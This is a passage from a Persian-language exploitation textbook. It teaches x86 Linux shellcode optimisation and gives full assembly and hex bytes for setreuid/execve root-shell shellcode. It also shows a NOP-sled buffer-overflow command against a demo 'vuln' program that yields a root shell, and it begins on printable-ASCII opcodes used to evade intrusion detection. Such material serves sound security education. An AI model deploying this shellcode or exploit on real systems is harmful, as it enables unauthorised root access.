‫ ﭼﺮا ﮐﻪ ﻣـﺎ ﻫﻤﯿـﺸﻪ اﻧـﺪازه‬،‫ﮐﺪﻫﺎی ﮐﻮﭼﮑﺘﺮ ﻣﻨﺎﺳﺒﺘﺮ ﻫﺴﺘﻨﺪ‬-‫ ﺷﻞ‬.‫ﮐﺪ را ﻧﯿﺰ ﮐﻢ ﮐﺮد‬-‫ اﻧﺪازه ﺷﻞ‬،‫ﺑﺮدن ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ‬
‫ﮐﺪ را ﺗﺎ ﭼﻨﺪ ﺑﺎﯾﺖ دﯾﮕـﺮ ﻧﯿـﺰ ﮐـﻮﭼﮑﺘﺮ‬-‫ اﻟﺒﺘﻪ ﻣﯽ ﺗﻮان اﯾﻦ ﺷﻞ‬.‫ﺑﺎﻓﺮ ﻫﺪف را ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﻧﺨﻮاﻫﯿﻢ داﻧﺴﺖ‬
.‫ﮐﺮد‬
‫ ﺑﻪ ﻣﻨﻈﻮر ﺗﺨﺼﯿﺺ ﺻﺤﯿﺢ ﺣﺎﻓﻈﻪ ﺑﺮای ﺑﺎﯾـﺖ ﭘـﻮچ و دو آدرﺳـﯽ‬/bin/sh ‫ در اﻧﺘﻬﺎی رﺷﺘﻪ‬XAAAABBBB ‫ﻋﺒﺎرت‬
‫ اﯾـﻦ ﺗﺨـﺼﯿﺺ ﺣﺎﻓﻈـﻪ‬،‫ﮐﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ واﻗﻌﯽ و ﻣـﺴﺘﻘﻞ ﺑـﻮد‬-‫ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺷﻞ‬.‫ﮐﻪ ﺑﻌﺪا در آﻧﺠﺎ ﮐﭙﯽ ﻣﯿﺸﻮﻧﺪ اﺿﺎﻓﻪ ﺷﺪ‬
‫ ﭘـﺲ ﻧﯿـﺎزی‬،‫ﮐﺪ ﺣﺎﻓﻈﻪ ای را ﮐﻪ ﺑﺮای آن ﺗﺨﺼﯿﺺ ﻧﯿﺎﻓﺘﻪ اﺳﺖ ﻣﯽ رﺑﺎﯾـﺪ‬-‫ اﻣﺎ در ﺣﺎل ﺣﺎﺿﺮ ﮐﻪ ﺷﻞ‬.‫ﻣﺴﺌﻠﻪ ﻣﻬﻤﯽ ﺑﻮد‬
‫ﮐﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫـﺪ‬-‫ اﯾﻦ داده اﺿﺎﻓﯽ را ﻣﯽ ﺗﻮان ﺑﺎ اﻃﻤﯿﻨﺎن ﭘﺎک ﮐﺮد و ﻧﻬﺎﯾﺘﺎ ﺷﻞ‬.‫ﺑﻪ آن ﻋﺒﺎرت ﻧﯿﺰ ﻧﺨﻮاﻫﺪ ﺑﻮد‬
:‫ﺷﺪ‬
00000000 31 C0 B0 46 31 DB 31 C9 CD 80 EB 16 5B 31 C0 88 1..F1.1.....[1..
00000010 43 07 89 5B 08 89 43 0C B0 0B 8D 4B 08 8D 53 0C C..[..C....K..S.
00000020 CD 80 E8 E5 FF FF FF 2F 62 69 6E 2F 73 68 ......./bin/sh
.‫ﮐﺪ ﻧﻬﺎﯾﯽ اﺳﺖ ﮐﻪ از ﻫﺮ ﮔﻮﻧﻪ ﺑﺎﯾﺖ ﭘﻮچ ﻣﺒﺮا ﻣﯽ ﺑﺎﺷﺪ‬-‫ﺧﺮوﺟﯽ ﻓﻮق ﺷﻞ‬
‫ ﺷﺎﯾﺪ ﺑﺘﻮان از ﻣﻌﺎدﻻت دﺳﺘﻮری ارزش ﻣﻨﺪﺗﺮی )ﺑﻪ ﺧـﺼﻮص‬،‫ﭘﺲ از اﻧﺠﺎم ﺗﻤﺎم آن ﮐﺎرﻫﺎ ﺑﺮای ﺣﺬف ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ‬
:‫ﻣﻌﺎدﻻت ﯾﮏ دﺳﺘﻮری( ﻣﻨﻔﻌﺖ ﺑﺮد‬
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)

82
‫اﯾﻦ دﺳﺘﻮر در ﺣﻘﯿﻘﺖ ﯾﮏ ﺣﻘﻪ ﺑﺮای اﺟﺘﻨﺎب از ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ اﺳﺖ‪ .‬ﭼﻮن رﺷﺘﻪ ‪ /bin/sh‬ﺑﺎﯾﺪ ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﺧﺎﺗﻤﻪ ﯾﺎﺑﺪ‬
‫)ﺗﺎ ﺑﺘﻮان واﻗﻌﺎ ﻧﺎﻣﺶ را رﺷﺘﻪ ﮔﺬاﺷﺖ(‪ ،‬ﻟﺬا ﺑﺎﯾﺪ ﺑﻌﺪ از رﺷﺘﻪ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻮﺟﻮد ﺑﺎﺷﺪ‪ .‬اﻣﺎ ﭼﻮن اﯾﻦ رﺷـﺘﻪ ﻋﻤـﻼ در‬
‫ﻗﻄﻌﻪ ﮐﺪ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳﺖ‪ ،‬ﻟﺬا ﺧﺎﺗﻤﻪ دادن رﺷﺘﻪ ﺑﺎ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻨﺠﺮ ﺑﻪ ﻗﺮار ﮔﺮﻓﺘﻦ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ در ﺷﻞ‪-‬ﮐﺪ ﻣﯽ‬
‫ﮔﺮدد‪ .‬ﺑﺎ ﺻﻔﺮ ﮐﺮدن ﺛﺒﺎت ‪ EAX‬ﺑﺎ ﯾﮏ دﺳﺘﻮر ‪ XOR‬و ﺳﭙﺲ ﮐﭙﯽ ﮐﺮدن ﯾﮏ ﺑﺎﯾﺖ واﺣﺪ ﺑﻪ ﺟﺎی ﺑﺎﯾـﺖ ﭘـﻮچ )ﺟـﺎﯾﯽ‬
‫ﮐﻪ ‪ X‬ﻗﺮار داﺷﺖ(‪ ،‬ﮐﺪ ﻗﺎدر ﺑﻪ ﺗﻐﯿﯿﺮ دادن ﺧﻮد ﻣﯽ ﮔﺮدد و ﺑﺪون اﯾﻨﮑﻪ ﻋﻤﻼ ﺑﺎﯾﺖ ﭘﻮچ در آن وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻣـﯽ‬
‫ﺗﻮاﻧﺪ رﺷﺘﻪ ﻫﺎی ﺧﻮد را ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﺧﺎﺗﻤﻪ دﻫﺪ‪.‬‬
‫اﯾﻦ ﺷﻞ‪-‬ﮐﺪ را ﻣﯽ ﺗﻮان در اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺑﯽ ﺷـﻤﺎری اﺳـﺘﻔﺎده ﮐـﺮد و در ﺣﻘﯿﻘـﺖ ﻫﻤـﺎن ﺷـﻞ‪-‬ﮐـﺪی اﺳـﺖ ﮐـﻪ در‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ در اﺑﺘﺪای اﯾﻦ ﻓﺼﻞ اﺳﺘﻔﺎده ﻣﯽ ﺷﺪ‪.‬‬

‫‪ .2,10,7‬ﺷﻞ‪-‬ﮐﺪ ﮐﻮﭼﮑﺘﺮ و اﺳﺘﻔﺎده از ﭘﺸﺘﻪ‬

‫ﻫﻨﻮز ﯾﮏ ﺣﻘﻪ دﯾﮕﺮ را ﻣﯽ ﺗﻮان ﺣﺘﯽ ﺑﺮای ﺗﻮﻟﯿﺪ ﺷﻞ‪-‬ﮐﺪ ﮐﻮﭼﮑﺘﺮ ﺑﮑﺎر ﮔﺮﻓﺖ‪ .‬اﻧﺪازه ﺷﻞ‪-‬ﮐﺪ ﻗﺒﻠﯽ ‪ 46‬ﺑﺎﯾﺖ ﺑﻮد‪ ،‬اﻣـﺎ‬
‫اﺳﺘﻔﺎده ﻫﻮﺷﻤﻨﺪاﻧﻪ از ﭘﺸﺘﻪ ﻣﯽ ﺗﻮاﻧﺪ اﻧﺪازه ﺷﻞ‪-‬ﮐﺪ را ‪ 31‬ﺑﺎﯾﺖ ﻫﻢ ﮐـﺎﻫﺶ دﻫـﺪ‪ .‬ﺑﺠـﺎی اﺳـﺘﻔﺎده از ﺣﻘـﻪ ‪call/jmp‬‬
‫ﺑﺮای درﯾﺎﻓﺖ اﺷﺎرﮔﺮی از رﺷﺘﻪ ‪ ،/bin/sh‬اﯾﻦ ﺗﮑﻨﯿﮏ ﺑـﺴﺎدﮔﯽ ﻣﻘـﺎدﯾﺮ را در ﭘـﺸﺘﻪ ﻗـﺮار داده و در زﻣـﺎن ﻫـﺎی ﻻزم‬
‫اﺷﺎرﮔﺮ ﭘﺸﺘﻪ را ﮐﭙﯽ ﻣﯽ ﮐﻨﺪ‪ .‬ﮐﺪ زﯾﺮ ﺷﺎﻟﻮده اﯾﻦ ﺗﮑﻨﯿﮏ را در ﮐﻠﯽ ﺗﺮﯾﻦ ﺷﮑﻞ ﻣﻤﮑﻦ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪.‬‬
‫‪stackshell.asm‬‬
‫‪BITS 32‬‬

‫)‪; setreuid(uid_t ruid, uid_t euid‬‬


‫‪xor eax, eax‬‬ ‫‪; first eax must be 0 for the next instruction‬‬
‫‪mov al, 70‬‬ ‫‪; put 70 into eax, since setreuid is syscall #70‬‬
‫‪xor ebx, ebx‬‬ ‫‪; put 0 into ebx, to set real uid to root‬‬
‫‪xor ecx, ecx‬‬ ‫‪; put 0 into ecx, to set effective uid to root‬‬
‫‪int 0x80‬‬ ‫‪; Call the kernel to make the system call happen‬‬

‫‪; execve(const char‬‬ ‫)][‪*filename, char *const argv [], char *const envp‬‬
‫‪push ecx‬‬ ‫‪; push 4 bytes of null from ecx to the stack‬‬
‫‪push 0x68732f2f‬‬ ‫‪; push "//sh" to the stack‬‬
‫‪push 0x6e69622f‬‬ ‫‪; push "/bin" to the stack‬‬
‫‪mov ebx, esp‬‬ ‫‪; put the address of "/bin//sh" to ebx, via esp‬‬
‫‪push ecx‬‬ ‫‪; push 4 bytes of null from ecx to the stack‬‬
‫‪push ebx‬‬ ‫‪; push ebx to the stack‬‬
‫‪mov ecx, esp‬‬ ‫‪; put the address of ebx to ecx, via esp‬‬
‫‪xor edx, edx‬‬ ‫‪; put 0 into edx‬‬
‫‪mov al, 11‬‬ ‫‪; put 11 into eax, since execve() is syscall #11‬‬
‫‪int 0x80‬‬ ‫‪; call the kernel to make the syscall happen‬‬
‫ﺑﺨﺸﯽ از ﮐﺪ ﮐﻪ ﻣﺴﺌﻮل ﻓﺮاﺧﻮاﻧﯽ )(‪ setreuid‬اﺳﺖ دﻗﯿﻘﺎ ﻫﻤﺎن ﮐﺪ ﻗﺒﻠﯽ ﯾﻌﻨﯽ ‪ shellcode.asm‬اﺳـﺖ‪ ،‬اﻣـﺎ در اﯾﻨﺠـﺎ‬
‫ﻓﺮاﺧﻮاﻧﯽ )(‪ execve‬ﺑﻪ ﻃﺮﯾﻘﻪ ﻣﺘﻔﺎوﺗﯽ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬اﺑﺘﺪا ﺑﺮای ﺧﺎﺗﻤﻪ دادن رﺷﺘﻪ ای ﮐـﻪ در دو دﺳـﺘﻮر ﺑﻌـﺪی روی‬
‫ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد )ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ﭘﺸﺘﻪ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد(‪ ،‬ﭼﻬﺎر ﺑﺎﯾﺖ ﭘـﻮچ روی ﭘـﺸﺘﻪ‬
‫ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ)‪ .(push‬ﭼﻮن ﻓﻀﺎی ﻫﺮ دﺳﺘﻮر ‪ push‬ﺑﺎﯾﺪ ﺑﻪ اﻧﺪازه ﯾﮏ ﮐﻠﻤﻪ ‪ 4‬ﺑﺎﯾﺘﯽ ﺑﺎﺷـﺪ‪ ،‬ﻟـﺬا ﺑـﻪ ﺟـﺎی اﺳـﺘﻔﺎده از‬
‫‪ /bin/sh‬از ‪ /bin//sh‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ دو رﺷﺘﻪ ﻫﻨﮕﺎم اﺳﺘﻔﺎده در ﻓﺮاﺧﻮاﻧﯽ )(‪ execve‬ﯾﮑﺴﺎن ﻫـﺴﺘﻨﺪ‪ .‬اﺷـﺎرﮔﺮ‬
‫ﭘﺴﺘﻪ درﺳﺖ ﺑﻌﺪ از اﺑﺘﺪای اﯾﻦ رﺷﺘﻪ ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﻟﺬا ﺑﺎﯾﺪ در ﺛﺒﺎت ‪ EBX‬ﮐﭙﯽ ﮔﺮدد‪ .‬ﺳﭙﺲ ﮐﻠﻤﻪ ﭘﻮچ دﯾﮕﺮی ﺑﻬﻤـﺮاه‬
‫‪ EBX‬روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ ﺗﺎ ﺑﻪ ﻋﻨﻮان اﺷﺎرﮔﺮی ﺑﻪ ﯾﮏ اﺷﺎرﮔﺮ از دوﻣـﯿﻦ ﭘـﺎراﻣﺘﺮ ﻓﺮاﺧـﻮاﻧﯽ )(‪ execve‬ﻋﻤـﻞ‬
‫ﻧﻤﺎﯾﻨﺪ‪ .‬ﺑﺮای اﯾﻦ آرﮔﻮﻣﺎن اﺷﺎرﮔﺮ ﭘﺸﺘﻪ در ﺛﺒﺎت ‪ ECX‬ﮐﭙﯽ ﻣﯽ ﺷﻮد و ﺳﭙﺲ ﺛﺒـﺎت ‪ EDX‬ﺻـﻔﺮ ﻣـﯽ ﮔـﺮدد‪ .‬در ﮐـﺪ‬
‫‪ ،shellcode.asm‬ﺛﺒﺎت ‪ EDX‬ﺑﻪ ﻋﻨﻮان اﺷﺎرﮔﺮی ﺗﻨﻈﯿﻢ ﺷﺪه ﺑﻮد ﮐﻪ ﺑﻪ ‪ 4‬ﺑﺎﯾـﺖ ﭘـﻮچ اﺷـﺎره ﻣـﯽ ﮐـﺮد‪ ،‬اﻣـﺎ در ﺣـﺎل‬
‫ﺣﺎﺿﺮ )ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ دﺳﺘﻮر ‪ (XOR‬ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ آﻧﺮا ﺑﻪ ﺻﻮرت ﭘـﻮچ ﺗﻨﻈـﯿﻢ ﮐـﺮد‪ .‬ﻧﻬﺎﯾﺘـﺎ ﺑـﺮای ﻓﺮاﺧـﻮاﻧﯽ‬

‫‪83‬‬
‫)(‪ ،execve‬ﻣﻘﺪار ‪ 11‬در ﺛﺒﺎت ‪ EAX‬ﻗﺮار ﮔﺮﻓﺘﻪ و ﭘﺲ از آن ﻫﺴﺘﻪ ﺑﺎ اﺳﺘﻔﺎده از وﻗﻔﻪ ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﻮد‪ .‬ﻫﻤﺎن ﻃﻮر‬
‫ﮐﻪ از ﺧﺮوﺟﯽ زﯾﺮ ﺑﺮ ﻣﯽ آﯾﺪ‪ ،‬اﻧﺪازه اﯾﻦ ﮐﺪ ﺑﻪ ﻫﻨﮕﺎم اﺳﻤﺒﻞ ﺷﺪن ‪ 33‬ﺑﺎﯾﺖ اﺳﺖ‪.‬‬
‫‪$ nasm stackshell.asm‬‬
‫‪$ wc -c stackshell‬‬
‫‪33 stackshell‬‬
‫‪$ hexedit stackshell‬‬
‫‪00000000 31 C9 31 DB 31 C0 B0 46 CD 80 51 68 2F 2F 73 68 1.1.1..F..Qh//sh‬‬
‫‪00000010 68 2F 62 69 6E 89 E3 51 53 89 E1 31 D2 B0 0B CD h/bin..QS..1....‬‬
‫‪00000020 80‬‬
‫دو ﺣﻘﻪ را ﻣﯽ ﺗﻮان اﺳﺘﻔﺎده ﮐﺮد ﺗﺎ دو ﺑﺎﯾﺖ دﯾﮕﺮ را ﻧﯿﺰ از اﯾﻦ ﮐﺪ ﮐﻢ ﮐﺮد‪ .‬اوﻟﯿﻦ ﺣﻘﻪ ﺗﻐﯿﯿﺮ دادن ﺧﻄﻮط زﯾﺮ‬
‫‪xor eax, eax‬‬ ‫‪; first eax must be 0 for the next instruction‬‬
‫‪mov al, 70‬‬ ‫‪; put 70 into eax, since setreuid is syscall #70‬‬
‫ﺑﻪ ﮐﺪﻫﺎی ﻣﻌﺎدل از ﻧﻈﺮ ﻋﺎﻣﻠﯿﺖ زﯾﺮ اﺳﺖ‪:‬‬
‫‪push byte 70‬‬ ‫‪; push the byte value 70 to the stack‬‬
‫‪pop eax‬‬ ‫‪; pop the 4-byte word 70 from the stack‬‬
‫اﯾﻦ دﺳﺘﻮرات ‪ 1‬ﺑﺎﯾﺖ ﮐﻮﭼﮑﺘﺮ از دﺳﺘﻮرات ﭘﯿﺸﯿﻦ ﻫﺴﺘﻨﺪ‪ ،‬اﻣﺎ ﻫﻤﺎن ﻋﻤﻞ را اﻧﺠﺎم ﻣﯽ دﻫﻨﺪ‪ .‬اﯾﻦ ﺣﻘﻪ از اﯾـﻦ واﻗﻌﯿـﺖ‬
‫اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ﮐﻪ ﭘﺴﺘﻪ ﺑﺎ اﺳﺘﻔﺎده از ﮐﻠﻤﺎت ‪ 4‬ﺑﺎﯾﺘﯽ ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﻧﻪ ﺑﺎﯾﺖ ﻫﺎی واﺣﺪ‪ .‬ﻟﺬا اﮔﺮ ﯾﮏ ﺑﺎﯾـﺖ واﺣـﺪ در‬
‫ﭘﺸﺘﻪ ﻗﺮار ﮔﯿﺮد‪ ،‬ﺑﺎﯾﺖ ﻫﺎی ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ ﭘﺮ ﻣﯽ ﺷﻮد )‪ (pad‬ﺗﺎ ﯾﮏ ﮐﻠﻤﻪ ‪ 4‬ﺑﺎﯾﺘﯽ ﮐﺎﻣﻞ را ﺑﺴﺎزﻧﺪ‪ .‬در ﻧﺘﯿﺠـﻪ‬
‫ﻣﯽ ﺗﻮان اﯾﻦ ﻣﻘﺪار را از ﭘﺸﺘﻪ ﺑﺎزﯾﺎﺑﯽ ﮐﺮده و در ﺛﺒﺎت ‪ EAX‬ﻗﺮار داد‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺪون اﯾﻨﮑﻪ از ﺑﺎﯾـﺖ ﻫـﺎی ﭘـﻮچ‬
‫اﺳﺘﻔﺎده ﮐﺮده ﺑﺎﺷﯿﻢ‪ ،‬ﯾﮏ ﻣﻘﺪار ﺑﯽ ﻧﻘﺺ و ﭘﺮ ﺷﺪه ﺑﺎ ﺻﻔﺮ ﺧﻮاﻫﯿﻢ داﺷﺖ‪ .‬اﯾﻦ ﺣﻘﻪ اﻧـﺪازه ﺷـﻞ‪-‬ﮐـﺪ را ﺑـﻪ ‪ 32‬ﺑﺎﯾـﺖ‬
‫ﮐﺎﻫﺶ ﻣﯽ دﻫﺪ‪.‬‬
‫ﺣﻘﻪ دوم ﺗﻐﯿﯿﺮ ﺧﻂ زﯾﺮ‬
‫‪xor edx, edx ; put 0 into edx‬‬
‫ﺑﻪ ﮐﺪ ﻣﻌﺎدل از ﻧﻈﺮ ﻋﺎﻣﻠﯿﺖ زﯾﺮ اﺳﺖ‪:‬‬
‫‪cdq‬‬ ‫‪; put 0 into edx using the signed bit from eax‬‬
‫دﺳﺘﻮر ‪ cdq‬ﺛﺒﺎت ‪ EDX‬را ﺑﺎ ﺑﯿﺖ ﻋﻼﻣﺖ ﺛﺒﺎت ‪ EAX‬ﭘﺮ ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ ﻣﻘﺪار ﺛﺒﺎت ‪ EAX‬ﻣﻨﻔﯽ ﺑﺎﺷﺪ‪ ،‬ﺗﻤﺎم ﺑﯿـﺖ ﻫـﺎی‬
‫ﺛﺒﺎت ‪ EDX‬ﺑﺎ ﻣﻘﺎدﯾﺮ ‪ 1‬ﭘﺮ ﻣﯽ ﺷﻮﻧﺪ و اﮔﺮ ﻣﻘﺪار ﺛﺒﺎت ‪ EAX‬ﻏﯿﺮ‪-‬ﻣﻨﻔﯽ )ﺻﻔﺮ ﯾﺎ ﻣﺜﺒﺖ( ﺑﺎﺷﺪ‪ ،‬آﻧﮕﺎه ﺗﻤـﺎم ﺑﯿـﺖ ﻫـﺎی‬
‫ﺛﺒﺎت ‪ EDX‬ﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ ﭘﺮ ﺧﻮاﻫﻨﺪ ﺷﺪ‪ .‬در اﯾﻦ ﻣﻮرد ﻣﻘﺪار ﺛﺒﺎت ‪ EAX‬ﻣﺜﺒﺖ اﺳﺖ‪ ،‬ﻟﺬا ﺛﺒﺎت ‪ EDX‬ﺻﻔﺮ ﺧﻮاﻫـﺪ‬
‫ﺷﺪ‪ .‬اﻧﺪازه اﯾﻦ دﺳﺘﻮر ﯾﮏ ﺑﺎﯾﺖ ﮐﻤﺘﺮ از دﺳﺘﻮر ‪ XOR‬اﺳﺖ‪ ،‬ﺑﻨﺎﺑﺮاﯾﻦ ﯾﮏ ﺑﺎﯾﺖ دﯾﮕﺮ ﻧﯿﺰ از اﻧـﺪازه ﺷـﻞ‪-‬ﮐـﺪ ﮐﺎﺳـﺘﻪ‬
‫ﻣﯽ ﺷﻮد‪ .‬ﻟﺬا ﺷﻞ‪-‬ﮐﺪ ﮐﻮﭼﮏ و ﻧﻬﺎﯾﯽ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬
‫‪tinyshell.asm‬‬
‫‪BITS 32‬‬

‫)‪; setreuid(uid_t ruid, uid_t euid‬‬


‫‪push byte 70‬‬ ‫‪; push the byte value 70 to the stack‬‬
‫‪pop eax‬‬ ‫‪; pop the 4-byte word 70 from the stack‬‬
‫‪xor ebx, ebx‬‬ ‫‪; put 0 into ebx, to set real uid to root‬‬
‫‪xor ecx, ecx‬‬ ‫‪; put 0 into ecx, to set effective uid to root‬‬
‫‪int 0x80‬‬ ‫‪; Call the kernel to make the system call happen‬‬

‫‪; execve(const char‬‬ ‫)][‪*filename, char *const argv [], char *const envp‬‬
‫‪push ecx‬‬ ‫‪; push 4 bytes of null from ecx to the stack‬‬
‫‪push 0x68732f2f‬‬ ‫‪; push "//sh" to the stack‬‬
‫‪push 0x6e69622f‬‬ ‫‪; push "/bin" to the stack‬‬
‫‪mov ebx, esp‬‬ ‫‪; put the address of "/bin//sh" to ebx, via esp‬‬
‫‪push ecx‬‬ ‫‪; push 4 bytes of null from ecx to the stack‬‬
‫‪push ebx‬‬ ‫‪; push ebx to the stack‬‬
‫‪mov ecx, esp‬‬ ‫‪; put the address of ebx to ecx, via esp‬‬
‫‪cdq‬‬ ‫‪; put 0 into edx using the signed bit from eax‬‬

‫‪mov al, 11‬‬ ‫‪; put 11 into eax, since execve() is syscall #11‬‬
‫‪int 0x80‬‬ ‫‪; call the kernel to make the syscall happen‬‬

‫‪84‬‬
‫ﺧﺮوﺟﯽ زﯾﺮ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ اﻧﺪازه ﮐﺪ اﺳﻤﺒﻞ ﺷﺪه ی ‪ tinyshell.asm‬ﺑﺮاﺑﺮ ﺑﺎ ‪ 31‬ﺑﺎﯾﺖ اﺳﺖ‪.‬‬
‫‪$ nasm tinyshell.asm‬‬
‫‪$ wc -c tinyshell‬‬
‫‪31 tinyshell‬‬
‫‪$ hexedit tinyshell‬‬
‫‪00000000‬‬ ‫‪6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh‬‬
‫‪00000010‬‬ ‫‪2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80‬‬ ‫‪/bin..QS.......‬‬
‫اﯾﻦ ﺷﻞ‪-‬ﮐﺪ را ﻣﯽ ﺗﻮان ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ‪ vuln‬ﮐﻪ در ﺑﺨﺶ ﻫﺎی ﻗﺒﻠﯽ ﺑﺮرﺳﯽ ﺷﺪ ﺑﮑﺎر ﺑﺮد‪.‬‬
‫ﯾﮏ ﺣﻘﻪ ﮐﻮﭼﮏ دﯾﮕﺮ در ﺧﻂ‪-‬ﻓﺮﻣﺎن وﺟﻮد دارد ﮐﻪ ﺑﺮای ﮔﺮﻓﺘﻦ ﻣﻘﺪار اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﺑﮑﺎر ﻣﯽ رود‪ .‬اﯾﻦ ﺑﺮﻧﺎﻣـﻪ ﺑـﺮای‬
‫درﯾﺎﻓﺖ ﻗﻄﻌﻪ از ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ از ﮐﺎرﺑﺮ ﺳﻮال ﮐﺮده و ﺳﭙﺲ ﻣﮑﺎن آن ﺣﺎﻓﻈﻪ را ﭼﺎپ ﻣﯽ ﮐﻨﺪ‪ .‬ﻫﻤﭽﻨﯿﻦ ﭼـﻮن ﺷـﻞ‪-‬ﮐـﺪ‬
‫‪ 15‬ﺑﺎﯾﺖ ﮐﻮﭼﮑﺘﺮ اﺳﺖ‪ ،‬ﻟﺬا ﺳﻮرﺗﻤﻪ ‪ NOP‬ﻧﯿﺰ ‪ 15‬ﺑﺎﯾﺖ ﺑﺰرﮔﺘﺮ ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫?‪$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.‬‬
‫‪0xbffff884‬‬
‫‪$ pcalc 202+46-31‬‬
‫‪217‬‬ ‫‪0xd9‬‬ ‫‪0y11011001‬‬
‫‪$ ./vuln 'perl -e 'print "\x90"x217;'"cat tinyshell"perl -e 'print‬‬
‫'';‪"\x84\xf8\xff\xbf"x70‬‬
‫‪sh-2.05b# whoami‬‬
‫‪root‬‬
‫‪sh-2.05b#‬‬

‫‪ .2,10,8‬دﺳﺘﻮرات اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ‬

‫ﭼﻨﺪﯾﻦ دﺳﺘﻮر اﺳﻤﺒﻠﯽ ﻣﻔﯿﺪ در ﻣﻌﻤﺎری ‪ x86‬وﺟﻮد دارﻧﺪ ﮐﻪ ﻣﺴﺘﻘﯿﻤﺎ ﺑﻪ ﮐﺎراﮐﺘﺮﻫﺎی اﺳـﮑﯽ ﻗﺎﺑـﻞ ﭼـﺎپ ﻧﮕﺎﺷـﺖ ﻣـﯽ‬
‫ﺷﻮﻧﺪ )‪ .(map‬دﺳﺘﻮرات اﻓﺰاﯾﺶ و ﮐﺎﻫﺶ ‪ inc‬و ‪ dec‬از ﺟﻤﻠﻪ دﺳﺘﻮرات ﯾﮏ ﺑﺎﯾﺘﯽ در اﯾﻦ ﺑﺎب ﻫﺴﺘﻨﺪ‪ .‬اﯾﻦ دﺳﺘﻮرات‬
‫ﺗﻨﻬﺎ ﯾﮏ واﺣﺪ ﺑﻪ ﺛﺒﺎت ﻣﺮﺑﻮﻃﻪ اﺿﺎﻓﻪ ﮐﺮده ﯾﺎ از آن ﻣﯽ ﮐﺎﻫﻨﺪ‪.‬‬
‫اﺳﮑﯽ )‪(ascii‬‬ ‫ﻫﮕﺰادﺳﯿﻤﺎل )‪(hex‬‬ ‫دﺳﺘﻮر‬
‫@‬ ‫‪0x40‬‬ ‫‪inc eax‬‬
‫‪C‬‬ ‫‪0x43‬‬ ‫‪inc ebx‬‬
‫‪A‬‬ ‫‪0x41‬‬ ‫‪inc ecx‬‬
‫‪B‬‬ ‫‪0x42‬‬ ‫‪inc edx‬‬
‫‪H‬‬ ‫‪0x48‬‬ ‫‪dec eax‬‬
‫‪K‬‬ ‫‪0x4B‬‬ ‫‪dec ebx‬‬
‫‪I‬‬ ‫‪0x49‬‬ ‫‪dec ecx‬‬
‫‪J‬‬ ‫‪0x4A‬‬ ‫‪dec edx‬‬
‫داﻧﺴﺘﻦ اﯾﻦ ﻣﻘﺎدﯾﺮ ﻣﻔﯿﺪ اﺳﺖ‪ .‬ﺑﻌﻀﯽ از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ را ﺑﺎ ﺟﺴﺘﺠﻮی ﺗﻮاﻟﯽ ﻫﺎی ﺑـﺰرگ از‬
‫دﺳﺘﻮرات ‪) NOP‬ﮐﻪ ﻧﺸﺎن دﻫﻨﺪه ﯾﮏ ﺳﻮرﺗﻤﻪ ‪ NOP‬اﺳﺖ( ﺗﺸﺨﯿﺺ ﻣﯽ دﻫﻨﺪ‪ .‬دﻗﺖ ﻣﻮﺷﮑﺎﻓﺎﻧﻪ راﻫﯽ ﺑﺮای اﺟﺘﻨـﺎب‬
